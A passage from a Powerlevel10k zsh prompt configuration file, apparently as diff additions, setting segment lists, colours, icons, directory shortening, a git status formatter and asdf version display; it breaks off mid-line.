node.js version from nvm (https://github.com/nvm-sh/nvm) +# nodeenv # node.js environment (https://github.com/ekalinin/nodeenv) + # node_version # node.js version + # go_version # go version (https://golang.org) + # rust_version # rustc version (https://www.rust-lang.org) + # dotnet_version # .NET version (https://dotnet.microsoft.com) + # php_version # php version (https://www.php.net/) + # laravel_version # laravel php framework version (https://laravel.com/) + # java_version # java version (https://www.java.com/) + # package # name@version from package.json (https://docs.npmjs.com/files/package.json) +# rbenv # ruby version from rbenv (https://github.com/rbenv/rbenv) +# rvm # ruby version from rvm (https://rvm.io) +# fvm # flutter version management (https://github.com/leoafarias/fvm) +# luaenv # lua version from luaenv (https://github.com/cehoffman/luaenv) +# jenv # java version from jenv (https://github.com/jenv/jenv) +# plenv # perl version from plenv (https://github.com/tokuhirom/plenv) +# perlbrew # perl version from perlbrew (https://github.com/gugod/App-perlbrew) +# phpenv # php version from phpenv (https://github.com/phpenv/phpenv) +# scalaenv # scala version from scalaenv (https://github.com/scalaenv/scalaenv) +# haskell_stack # haskell version from stack (https://haskellstack.org/) +# kubecontext # current kubernetes context (https://kubernetes.io/) +# terraform # terraform workspace (https://www.terraform.io) + # terraform_version # terraform version (https://www.terraform.io) +# aws # aws profile (https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html) +# aws_eb_env # aws elastic beanstalk environment (https://aws.amazon.com/elasticbeanstalk/) +# azure # azure account name (https://docs.microsoft.com/en-us/cli/azure) +# gcloud # google cloud cli account and project (https://cloud.google.com/) +# google_app_cred # google application credentials (https://cloud.google.com/docs/authentication/production) +# toolbox # toolbox name (https://github.com/containers/toolbox) +# context # user@hostname +# nordvpn # nordvpn connection status, linux only (https://nordvpn.com/) +# ranger # ranger shell (https://github.com/ranger/ranger) +# nnn # nnn shell (https://github.com/jarun/nnn) +# xplr # xplr shell (https://github.com/sayanarijit/xplr) +# vim_shell # vim shell indicator (:sh) +# midnight_commander # midnight commander shell (https://midnight-commander.org/) +# nix_shell # nix shell (https://nixos.org/nixos/nix-pills/developing-with-nix-shell.html) +# vi_mode # vi mode (you don't need this if you've enabled prompt_char) + # vpn_ip # virtual private network indicator + # load # CPU load + # disk_usage # disk usage + # ram # free RAM + # swap # used swap +# todo # todo items (https://github.com/todotxt/todo.txt-cli) +# timewarrior # timewarrior tracking status (https://timewarrior.net/) +# taskwarrior # taskwarrior task count (https://taskwarrior.org/) + # time # current time + # ip # ip address and bandwidth usage for a specified network interface + # public_ip # public IP address + # proxy # system-wide http/https/ftp proxy + # battery # internal battery + # wifi # wifi speed + # example # example user-defined segment (see prompt_example function below) + ) + + # Defines character set used by powerlevel10k. It's best to let `p10k configure` set it for you. + typeset -g POWERLEVEL9K_MODE=nerdfont-complete + # When set to `moderate`, some icons will have an extra space after them. This is meant to avoid + # icon overlap when using non-monospace fonts. When set to `none`, spaces are not added. + typeset -g POWERLEVEL9K_ICON_PADDING=moderate + + # When set to true, icons appear before content on both sides of the prompt. When set + # to false, icons go after content. If empty or not set, icons go before content in the left + # prompt and after content in the right prompt. + # + # You can also override it for a specific segment: + # + # POWERLEVEL9K_STATUS_ICON_BEFORE_CONTENT=false + # + # Or for a specific segment in specific state: + # + # POWERLEVEL9K_DIR_NOT_WRITABLE_ICON_BEFORE_CONTENT=false + typeset -g POWERLEVEL9K_ICON_BEFORE_CONTENT= + + # Add an empty line before each prompt. + typeset -g POWERLEVEL9K_PROMPT_ADD_NEWLINE=true + + # Connect left prompt lines with these symbols. You'll probably want to use the same color + # as POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_FOREGROUND below. + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_PREFIX='%240F╭─' + typeset -g POWERLEVEL9K_MULTILINE_NEWLINE_PROMPT_PREFIX='%240F├─' + typeset -g POWERLEVEL9K_MULTILINE_LAST_PROMPT_PREFIX='%240F╰─' + # Connect right prompt lines with these symbols. + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_SUFFIX='%240F─╮' + typeset -g POWERLEVEL9K_MULTILINE_NEWLINE_PROMPT_SUFFIX='%240F─┤' + typeset -g POWERLEVEL9K_MULTILINE_LAST_PROMPT_SUFFIX='%240F─╯' + + # Filler between left and right prompt on the first prompt line. You can set it to ' ', '·' or + # '─'. The last two make it easier to see the alignment between left and right prompt and to + # separate prompt from command output. You might want to set POWERLEVEL9K_PROMPT_ADD_NEWLINE=false + # for more compact prompt if using this option. + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_CHAR=' ' + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_BACKGROUND= + typeset -g POWERLEVEL9K_MULTILINE_NEWLINE_PROMPT_GAP_BACKGROUND= + if [[ $POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_CHAR != ' ' ]]; then + # The color of the filler. You'll probably want to match the color of POWERLEVEL9K_MULTILINE + # ornaments defined above. + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_FOREGROUND=240 + # Start filler from the edge of the screen if there are no left segments on the first line. + typeset -g POWERLEVEL9K_EMPTY_LINE_LEFT_PROMPT_FIRST_SEGMENT_END_SYMBOL='%{%}' + # End filler on the edge of the screen if there are no right segments on the first line. + typeset -g POWERLEVEL9K_EMPTY_LINE_RIGHT_PROMPT_FIRST_SEGMENT_START_SYMBOL='%{%}' + fi + + # Default background color. + typeset -g POWERLEVEL9K_BACKGROUND=236 + + # Separator between same-color segments on the left. + typeset -g POWERLEVEL9K_LEFT_SUBSEGMENT_SEPARATOR='%244F\uE0B1' + # Separator between same-color segments on the right. + typeset -g POWERLEVEL9K_RIGHT_SUBSEGMENT_SEPARATOR='%244F\uE0B3' + # Separator between different-color segments on the left. + typeset -g POWERLEVEL9K_LEFT_SEGMENT_SEPARATOR='\uE0B0' + # Separator between different-color segments on the right. + typeset -g POWERLEVEL9K_RIGHT_SEGMENT_SEPARATOR='\uE0B2' + # The right end of left prompt. + typeset -g POWERLEVEL9K_LEFT_PROMPT_LAST_SEGMENT_END_SYMBOL='▓▒░' + # The left end of right prompt. + typeset -g POWERLEVEL9K_RIGHT_PROMPT_FIRST_SEGMENT_START_SYMBOL='░▒▓' + # The left end of left prompt. + typeset -g POWERLEVEL9K_LEFT_PROMPT_FIRST_SEGMENT_START_SYMBOL='░▒▓' + # The right end of right prompt. + typeset -g POWERLEVEL9K_RIGHT_PROMPT_LAST_SEGMENT_END_SYMBOL='▓▒░' + # Left prompt terminator for lines without any segments. + typeset -g POWERLEVEL9K_EMPTY_LINE_LEFT_PROMPT_LAST_SEGMENT_END_SYMBOL= + + #################################[ os_icon: os identifier ]################################## + # OS identifier color. + typeset -g POWERLEVEL9K_OS_ICON_FOREGROUND=255 + # Custom icon. + # typeset -g POWERLEVEL9K_OS_ICON_CONTENT_EXPANSION='⭐' + + ################################[ prompt_char: prompt symbol ]################################ + # Transparent background. + typeset -g POWERLEVEL9K_PROMPT_CHAR_BACKGROUND= + # Green prompt symbol if the last command succeeded. + typeset -g POWERLEVEL9K_PROMPT_CHAR_OK_{VIINS,VICMD,VIVIS,VIOWR}_FOREGROUND=76 + # Red prompt symbol if the last command failed. + typeset -g POWERLEVEL9K_PROMPT_CHAR_ERROR_{VIINS,VICMD,VIVIS,VIOWR}_FOREGROUND=196 + # Default prompt symbol. + typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIINS_CONTENT_EXPANSION='❯' + # Prompt symbol in command vi mode. + typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VICMD_CONTENT_EXPANSION='❮' + # Prompt symbol in visual vi mode. + typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIVIS_CONTENT_EXPANSION='V' + # Prompt symbol in overwrite vi mode. + typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIOWR_CONTENT_EXPANSION='▶' + typeset -g POWERLEVEL9K_PROMPT_CHAR_OVERWRITE_STATE=true + # No line terminator if prompt_char is the last segment. + typeset -g POWERLEVEL9K_PROMPT_CHAR_LEFT_PROMPT_LAST_SEGMENT_END_SYMBOL= + # No line introducer if prompt_char is the first segment. + typeset -g POWERLEVEL9K_PROMPT_CHAR_LEFT_PROMPT_FIRST_SEGMENT_START_SYMBOL= + # No surrounding whitespace. + typeset -g POWERLEVEL9K_PROMPT_CHAR_LEFT_{LEFT,RIGHT}_WHITESPACE= + + ##################################[ dir: current directory ]################################## + # Default current directory color. + typeset -g POWERLEVEL9K_DIR_FOREGROUND=31 + # If directory is too long, shorten some of its segments to the shortest possible unique + # prefix. The shortened directory can be tab-completed to the original. + typeset -g POWERLEVEL9K_SHORTEN_STRATEGY=truncate_to_unique + # Replace removed segment suffixes with this symbol. + typeset -g POWERLEVEL9K_SHORTEN_DELIMITER= + # Color of the shortened directory segments. + typeset -g POWERLEVEL9K_DIR_SHORTENED_FOREGROUND=103 + # Color of the anchor directory segments. Anchor segments are never shortened. The first + # segment is always an anchor. + typeset -g POWERLEVEL9K_DIR_ANCHOR_FOREGROUND=39 + # Display anchor directory segments in bold. + typeset -g POWERLEVEL9K_DIR_ANCHOR_BOLD=true + # Don't shorten directories that contain any of these files. They are anchors. + local anchor_files=( + .bzr + .citc + .git + .hg + .node-version + .python-version + .go-version + .ruby-version + .lua-version + .java-version + .perl-version + .php-version + .tool-version + .shorten_folder_marker + .svn + .terraform + CVS + Cargo.toml + composer.json + go.mod + package.json + stack.yaml + ) + typeset -g POWERLEVEL9K_SHORTEN_FOLDER_MARKER="(${(j:|:)anchor_files})" + # If set to "first" ("last"), remove everything before the first (last) subdirectory that contains + # files matching $POWERLEVEL9K_SHORTEN_FOLDER_MARKER. For example, when the current directory is + # /foo/bar/git_repo/nested_git_repo/baz, prompt will display git_repo/nested_git_repo/baz (first) + # or nested_git_repo/baz (last). This assumes that git_repo and nested_git_repo contain markers + # and other directories don't. + # + # Optionally, "first" and "last" can be followed by ":" where is an integer. + # This moves the truncation point to the right (positive offset) or to the left (negative offset) + # relative to the marker. Plain "first" and "last" are equivalent to "first:0" and "last:0" + # respectively. + typeset -g POWERLEVEL9K_DIR_TRUNCATE_BEFORE_MARKER=false + # Don't shorten this many last directory segments. They are anchors. + typeset -g POWERLEVEL9K_SHORTEN_DIR_LENGTH=1 + # Shorten directory if it's longer than this even if there is space for it. The value can + # be either absolute (e.g., '80') or a percentage of terminal width (e.g, '50%'). If empty, + # directory will be shortened only when prompt doesn't fit or when other parameters demand it + # (see POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS and POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS_PCT below). + # If set to `0`, directory will always be shortened to its minimum length. + typeset -g POWERLEVEL9K_DIR_MAX_LENGTH=80 + # When `dir` segment is on the last prompt line, try to shorten it enough to leave at least this + # many columns for typing commands. + typeset -g POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS=40 + # When `dir` segment is on the last prompt line, try to shorten it enough to leave at least + # COLUMNS * POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS_PCT * 0.01 columns for typing commands. + typeset -g POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS_PCT=50 + # If set to true, embed a hyperlink into the directory. Useful for quickly + # opening a directory in the file manager simply by clicking the link. + # Can also be handy when the directory is shortened, as it allows you to see + # the full directory that was used in previous commands. + typeset -g POWERLEVEL9K_DIR_HYPERLINK=false + + # Enable special styling for non-writable and non-existent directories. See POWERLEVEL9K_LOCK_ICON + # and POWERLEVEL9K_DIR_CLASSES below. + typeset -g POWERLEVEL9K_DIR_SHOW_WRITABLE=v3 + + # The default icon shown next to non-writable and non-existent directories when + # POWERLEVEL9K_DIR_SHOW_WRITABLE is set to v3. + # typeset -g POWERLEVEL9K_LOCK_ICON='⭐' + + # POWERLEVEL9K_DIR_CLASSES allows you to specify custom icons and colors for different + # directories. It must be an array with 3 * N elements. Each triplet consists of: + # + # 1. A pattern against which the current directory ($PWD) is matched. Matching is done with + # extended_glob option enabled. + # 2. Directory class for the purpose of styling. + # 3. An empty string. + # + # Triplets are tried in order. The first triplet whose pattern matches $PWD wins. + # + # If POWERLEVEL9K_DIR_SHOW_WRITABLE is set to v3, non-writable and non-existent directories + # acquire class suffix _NOT_WRITABLE and NON_EXISTENT respectively. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_DIR_CLASSES=( + # '~/work(|/*)' WORK '' + # '~(|/*)' HOME '' + # '*' DEFAULT '') + # + # Whenever the current directory is ~/work or a subdirectory of ~/work, it gets styled with one + # of the following classes depending on its writability and existence: WORK, WORK_NOT_WRITABLE or + # WORK_NON_EXISTENT. + # + # Simply assigning classes to directories doesn't have any visible effects. It merely gives you an + # option to define custom colors and icons for different directory classes. + # + # # Styling for WORK. + # typeset -g POWERLEVEL9K_DIR_WORK_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_DIR_WORK_FOREGROUND=31 + # typeset -g POWERLEVEL9K_DIR_WORK_SHORTENED_FOREGROUND=103 + # typeset -g POWERLEVEL9K_DIR_WORK_ANCHOR_FOREGROUND=39 + # + # # Styling for WORK_NOT_WRITABLE. + # typeset -g POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_FOREGROUND=31 + # typeset -g POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_SHORTENED_FOREGROUND=103 + # typeset -g POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_ANCHOR_FOREGROUND=39 + # + # # Styling for WORK_NON_EXISTENT. + # typeset -g POWERLEVEL9K_DIR_WORK_NON_EXISTENT_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_DIR_WORK_NON_EXISTENT_FOREGROUND=31 + # typeset -g POWERLEVEL9K_DIR_WORK_NON_EXISTENT_SHORTENED_FOREGROUND=103 + # typeset -g POWERLEVEL9K_DIR_WORK_NON_EXISTENT_ANCHOR_FOREGROUND=39 + # + # If a styling parameter isn't explicitly defined for some class, it falls back to the classless + # parameter. For example, if POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_FOREGROUND is not set, it falls + # back to POWERLEVEL9K_DIR_FOREGROUND. + # + # typeset -g POWERLEVEL9K_DIR_CLASSES=() + + # Custom prefix. + # typeset -g POWERLEVEL9K_DIR_PREFIX='%246Fin ' + + #####################################[ vcs: git status ]###################################### + # Branch icon. Set this parameter to '\uF126 ' for the popular Powerline branch icon. + typeset -g POWERLEVEL9K_VCS_BRANCH_ICON='\uF126 ' + + # Untracked files icon. It's really a question mark, your font isn't broken. + # Change the value of this parameter to show a different icon. + typeset -g POWERLEVEL9K_VCS_UNTRACKED_ICON='?' + + # Formatter for Git status. + # + # Example output: master wip ⇣42⇡42 *42 merge ~42 +42 !42 ?42. + # + # You can edit the function to customize how Git status looks. + # + # VCS_STATUS_* parameters are set by gitstatus plugin. See reference: + # https://github.com/romkatv/gitstatus/blob/master/gitstatus.plugin.zsh. + function my_git_formatter() { + emulate -L zsh + + if [[ -n $P9K_CONTENT ]]; then + # If P9K_CONTENT is not empty, use it. It's either "loading" or from vcs_info (not from + # gitstatus plugin). VCS_STATUS_* parameters are not available in this case. + typeset -g my_git_format=$P9K_CONTENT + return + fi + + if (( $1 )); then + # Styling for up-to-date Git status. + local meta='%246F' # grey foreground + local clean='%76F' # green foreground + local modified='%178F' # yellow foreground + local untracked='%39F' # blue foreground + local conflicted='%196F' # red foreground + else + # Styling for incomplete and stale Git status. + local meta='%244F' # grey foreground + local clean='%244F' # grey foreground + local modified='%244F' # grey foreground + local untracked='%244F' # grey foreground + local conflicted='%244F' # grey foreground + fi + + local res + + if [[ -n $VCS_STATUS_LOCAL_BRANCH ]]; then + local branch=${(V)VCS_STATUS_LOCAL_BRANCH} + # If local branch name is at most 32 characters long, show it in full. + # Otherwise show the first 12 … the last 12. + # Tip: To always show local branch name in full without truncation, delete the next line. + (( $#branch > 32 )) && branch[13,-13]="…" # <-- this line + res+="${clean}${(g::)POWERLEVEL9K_VCS_BRANCH_ICON}${branch//\%/%%}" + fi + + if [[ -n $VCS_STATUS_TAG + # Show tag only if not on a branch. + # Tip: To always show tag, delete the next line. + && -z $VCS_STATUS_LOCAL_BRANCH # <-- this line + ]]; then + local tag=${(V)VCS_STATUS_TAG} + # If tag name is at most 32 characters long, show it in full. + # Otherwise show the first 12 … the last 12. + # Tip: To always show tag name in full without truncation, delete the next line. + (( $#tag > 32 )) && tag[13,-13]="…" # <-- this line + res+="${meta}#${clean}${tag//\%/%%}" + fi + + # Display the current Git commit if there is no branch and no tag. + # Tip: To always display the current Git commit, delete the next line. + [[ -z $VCS_STATUS_LOCAL_BRANCH && -z $VCS_STATUS_TAG ]] && # <-- this line + res+="${meta}@${clean}${VCS_STATUS_COMMIT[1,8]}" + + # Show tracking branch name if it differs from local branch. + if [[ -n ${VCS_STATUS_REMOTE_BRANCH:#$VCS_STATUS_LOCAL_BRANCH} ]]; then + res+="${meta}:${clean}${(V)VCS_STATUS_REMOTE_BRANCH//\%/%%}" + fi + + # Display "wip" if the latest commit's summary contains "wip" or "WIP". + if [[ $VCS_STATUS_COMMIT_SUMMARY == (|*[^[:alnum:]])(wip|WIP)(|[^[:alnum:]]*) ]]; then + res+=" ${modified}wip" + fi + + # ⇣42 if behind the remote. + (( VCS_STATUS_COMMITS_BEHIND )) && res+=" ${clean}⇣${VCS_STATUS_COMMITS_BEHIND}" + # ⇡42 if ahead of the remote; no leading space if also behind the remote: ⇣42⇡42. + (( VCS_STATUS_COMMITS_AHEAD && !VCS_STATUS_COMMITS_BEHIND )) && res+=" " + (( VCS_STATUS_COMMITS_AHEAD )) && res+="${clean}⇡${VCS_STATUS_COMMITS_AHEAD}" + # ⇠42 if behind the push remote. + (( VCS_STATUS_PUSH_COMMITS_BEHIND )) && res+=" ${clean}⇠${VCS_STATUS_PUSH_COMMITS_BEHIND}" + (( VCS_STATUS_PUSH_COMMITS_AHEAD && !VCS_STATUS_PUSH_COMMITS_BEHIND )) && res+=" " + # ⇢42 if ahead of the push remote; no leading space if also behind: ⇠42⇢42. + (( VCS_STATUS_PUSH_COMMITS_AHEAD )) && res+="${clean}⇢${VCS_STATUS_PUSH_COMMITS_AHEAD}" + # *42 if have stashes. + (( VCS_STATUS_STASHES )) && res+=" ${clean}*${VCS_STATUS_STASHES}" + # 'merge' if the repo is in an unusual state. + [[ -n $VCS_STATUS_ACTION ]] && res+=" ${conflicted}${VCS_STATUS_ACTION}" + # ~42 if have merge conflicts. + (( VCS_STATUS_NUM_CONFLICTED )) && res+=" ${conflicted}~${VCS_STATUS_NUM_CONFLICTED}" + # +42 if have staged changes. + (( VCS_STATUS_NUM_STAGED )) && res+=" ${modified}+${VCS_STATUS_NUM_STAGED}" + # !42 if have unstaged changes. + (( VCS_STATUS_NUM_UNSTAGED )) && res+=" ${modified}!${VCS_STATUS_NUM_UNSTAGED}" + # ?42 if have untracked files. It's really a question mark, your font isn't broken. + # See POWERLEVEL9K_VCS_UNTRACKED_ICON above if you want to use a different icon. + # Remove the next line if you don't want to see untracked files at all. + (( VCS_STATUS_NUM_UNTRACKED )) && res+=" ${untracked}${(g::)POWERLEVEL9K_VCS_UNTRACKED_ICON}${VCS_STATUS_NUM_UNTRACKED}" + # "─" if the number of unstaged files is unknown. This can happen due to + # POWERLEVEL9K_VCS_MAX_INDEX_SIZE_DIRTY (see below) being set to a non-negative number lower + # than the number of files in the Git index, or due to bash.showDirtyState being set to false + # in the repository config. The number of staged and untracked files may also be unknown + # in this case. + (( VCS_STATUS_HAS_UNSTAGED == -1 )) && res+=" ${modified}─" + + typeset -g my_git_format=$res + } + functions -M my_git_formatter 2>/dev/null + + # Don't count the number of unstaged, untracked and conflicted files in Git repositories with + # more than this many files in the index. Negative value means infinity. + # + # If you are working in Git repositories with tens of millions of files and seeing performance + # sagging, try setting POWERLEVEL9K_VCS_MAX_INDEX_SIZE_DIRTY to a number lower than the output + # of `git ls-files | wc -l`. Alternatively, add `bash.showDirtyState = false` to the repository's + # config: `git config bash.showDirtyState false`. + typeset -g POWERLEVEL9K_VCS_MAX_INDEX_SIZE_DIRTY=-1 + + # Don't show Git status in prompt for repositories whose workdir matches this pattern. + # For example, if set to '~', the Git repository at $HOME/.git will be ignored. + # Multiple patterns can be combined with '|': '~(|/foo)|/bar/baz/*'. + typeset -g POWERLEVEL9K_VCS_DISABLED_WORKDIR_PATTERN='~' + + # Disable the default Git status formatting. + typeset -g POWERLEVEL9K_VCS_DISABLE_GITSTATUS_FORMATTING=true + # Install our own Git status formatter. + typeset -g POWERLEVEL9K_VCS_CONTENT_EXPANSION='${$((my_git_formatter(1)))+${my_git_format}}' + typeset -g POWERLEVEL9K_VCS_LOADING_CONTENT_EXPANSION='${$((my_git_formatter(0)))+${my_git_format}}' + # Enable counters for staged, unstaged, etc. + typeset -g POWERLEVEL9K_VCS_{STAGED,UNSTAGED,UNTRACKED,CONFLICTED,COMMITS_AHEAD,COMMITS_BEHIND}_MAX_NUM=-1 + + # Icon color. + typeset -g POWERLEVEL9K_VCS_VISUAL_IDENTIFIER_COLOR=76 + typeset -g POWERLEVEL9K_VCS_LOADING_VISUAL_IDENTIFIER_COLOR=244 + # Custom icon. + # typeset -g POWERLEVEL9K_VCS_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + typeset -g POWERLEVEL9K_VCS_PREFIX='%246Fon ' + + # Show status of repositories of these types. You can add svn and/or hg if you are + # using them. If you do, your prompt may become slow even when your current directory + # isn't in an svn or hg reposotiry. + typeset -g POWERLEVEL9K_VCS_BACKENDS=(git) + + # These settings are used for repositories other than Git or when gitstatusd fails and + # Powerlevel10k has to fall back to using vcs_info. + typeset -g POWERLEVEL9K_VCS_CLEAN_FOREGROUND=76 + typeset -g POWERLEVEL9K_VCS_UNTRACKED_FOREGROUND=76 + typeset -g POWERLEVEL9K_VCS_MODIFIED_FOREGROUND=178 + + ##########################[ status: exit code of the last command ]########################### + # Enable OK_PIPE, ERROR_PIPE and ERROR_SIGNAL status states to allow us to enable, disable and + # style them independently from the regular OK and ERROR state. + typeset -g POWERLEVEL9K_STATUS_EXTENDED_STATES=true + + # Status on success. No content, just an icon. No need to show it if prompt_char is enabled as + # it will signify success by turning green. + typeset -g POWERLEVEL9K_STATUS_OK=true + typeset -g POWERLEVEL9K_STATUS_OK_FOREGROUND=70 + typeset -g POWERLEVEL9K_STATUS_OK_VISUAL_IDENTIFIER_EXPANSION='✔' + + # Status when some part of a pipe command fails but the overall exit status is zero. It may look + # like this: 1|0. + typeset -g POWERLEVEL9K_STATUS_OK_PIPE=true + typeset -g POWERLEVEL9K_STATUS_OK_PIPE_FOREGROUND=70 + typeset -g POWERLEVEL9K_STATUS_OK_PIPE_VISUAL_IDENTIFIER_EXPANSION='✔' + + # Status when it's just an error code (e.g., '1'). No need to show it if prompt_char is enabled as + # it will signify error by turning red. + typeset -g POWERLEVEL9K_STATUS_ERROR=true + typeset -g POWERLEVEL9K_STATUS_ERROR_FOREGROUND=160 + typeset -g POWERLEVEL9K_STATUS_ERROR_VISUAL_IDENTIFIER_EXPANSION='✘' + + # Status when the last command was terminated by a signal. + typeset -g POWERLEVEL9K_STATUS_ERROR_SIGNAL=true + typeset -g POWERLEVEL9K_STATUS_ERROR_SIGNAL_FOREGROUND=160 + # Use terse signal names: "INT" instead of "SIGINT(2)". + typeset -g POWERLEVEL9K_STATUS_VERBOSE_SIGNAME=false + typeset -g POWERLEVEL9K_STATUS_ERROR_SIGNAL_VISUAL_IDENTIFIER_EXPANSION='✘' + + # Status when some part of a pipe command fails and the overall exit status is also non-zero. + # It may look like this: 1|0. + typeset -g POWERLEVEL9K_STATUS_ERROR_PIPE=true + typeset -g POWERLEVEL9K_STATUS_ERROR_PIPE_FOREGROUND=160 + typeset -g POWERLEVEL9K_STATUS_ERROR_PIPE_VISUAL_IDENTIFIER_EXPANSION='✘' + + ###################[ command_execution_time: duration of the last command ]################### + # Show duration of the last command if takes at least this many seconds. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=3 + # Show this many fractional digits. Zero means round to seconds. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PRECISION=0 + # Execution time color. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FOREGROUND=248 + # Duration format: 1d 2h 3m 4s. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FORMAT='d h m s' + # Custom icon. + # typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PREFIX='%246Ftook ' + + #######################[ background_jobs: presence of background jobs ]####################### + # Don't show the number of background jobs. + typeset -g POWERLEVEL9K_BACKGROUND_JOBS_VERBOSE=false + # Background jobs color. + typeset -g POWERLEVEL9K_BACKGROUND_JOBS_FOREGROUND=37 + # Custom icon. + # typeset -g POWERLEVEL9K_BACKGROUND_JOBS_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #######################[ direnv: direnv status (https://direnv.net/) ]######################## + # Direnv color. + typeset -g POWERLEVEL9K_DIRENV_FOREGROUND=178 + # Custom icon. + # typeset -g POWERLEVEL9K_DIRENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###############[ asdf: asdf version manager (https://github.com/asdf-vm/asdf) ]############### + # Default asdf color. Only used to display tools for which there is no color override (see below). + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_FOREGROUND. + typeset -g POWERLEVEL9K_ASDF_FOREGROUND=66 + + # There are four parameters that can be used to hide asdf tools. Each parameter describes + # conditions under which a tool gets hidden. Parameters can hide tools but not unhide them. If at + # least one parameter decides to hide a tool, that tool gets hidden. If no parameter decides to + # hide a tool, it gets shown. + # + # Special note on the difference between POWERLEVEL9K_ASDF_SOURCES and + # POWERLEVEL9K_ASDF_PROMPT_ALWAYS_SHOW. Consider the effect of the following commands: + # + # asdf local python 3.8.1 + # asdf global python 3.8.1 + # + # After running both commands the current python version is 3.8.1 and its source is "local" as + # it takes precedence over "global". If POWERLEVEL9K_ASDF_PROMPT_ALWAYS_SHOW is set to false, + # it'll hide python version in this case because 3.8.1 is the same as the global version. + # POWERLEVEL9K_ASDF_SOURCES will hide python version only if the value of this parameter doesn't + # contain "local". + + # Hide tool versions that don't come from one of these sources. + # + # Available sources: + # + # - shell `asdf current` says "set by ASDF_${TOOL}_VERSION environment variable" + # - local `asdf current` says "set by /some/not/home/directory/file" + # - global `asdf current` says "set by /home/username/file" + # + # Note: If this parameter is set to (shell local global), it won't hide tools. + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_SOURCES. + typeset -g POWERLEVEL9K_ASDF_SOURCES=(shell local global) + + # If set to false, hide tool versions that are the same as global. + # + # Note: The name of this parameter doesn't reflect its meaning at all. + # Note: If this parameter is set to true, it won't hide tools. + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_PROMPT_ALWAYS_SHOW. + typeset -g POWERLEVEL9K_ASDF_PROMPT_ALWAYS_SHOW=false + + # If set to false, hide tool versions that are equal to "system". + # + # Note: If this parameter is set to true, it won't hide tools. + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_SHOW_SYSTEM. + typeset -g POWERLEVEL9K_ASDF_SHOW_SYSTEM=true + + # If set to non-empty value, hide tools unless there is a file matching the specified file pattern + # in the current directory, or its parent directory, or its grandparent directory, and so on. + # + # Note: If this parameter is set to empty value, it won't hide tools. + # Note: SHOW_ON_UPGLOB isn't specific to asdf. It works with all prompt segments. + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_SHOW_ON_UPGLOB. + # + # Example: Hide nodejs version when there is no package.json and no *.js files in the current + # directory, in `..`, in `../..` and so on. + # + # typeset -g POWERLEVEL9K_ASDF_NODEJS_SHOW_ON_UPGLOB='*.js|package.json' + typeset -g POWERLEVEL9K_ASDF_SHOW_ON_UPGLOB= + + # Ruby version from asdf. + typeset -g POWERLEVEL9K_ASDF_RUBY_FOREGROUND=168 + # typeset -g POWERLEVEL9K_ASDF_RUBY_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_RUBY_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Python version from asdf. + typeset -g POWERLEVEL9K_ASDF_PYTHON_FOREGROUND=37 + # typeset -g POWERLEVEL9K_ASDF_PYTHON_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_PYTHON_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Go version from asdf. + typeset -g POWERLEVEL9K_ASDF_GOLANG_FOREGROUND=37 + # typeset -g POWERLEVEL9K_ASDF_GOLANG_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_GOLANG_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Node.js version from asdf. + typeset -g POWERLEVEL9K_ASDF_NODEJS_FOREGROUND=70 + # typeset -g POWERLEVEL9K_ASDF_NODEJS_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_NODEJS_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Rust version from asdf. + typeset -g POWERLEVEL9K_ASDF_RUST_FOREGROUND=37 + # typeset -g POWERLEVEL9K_ASDF_RUST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g 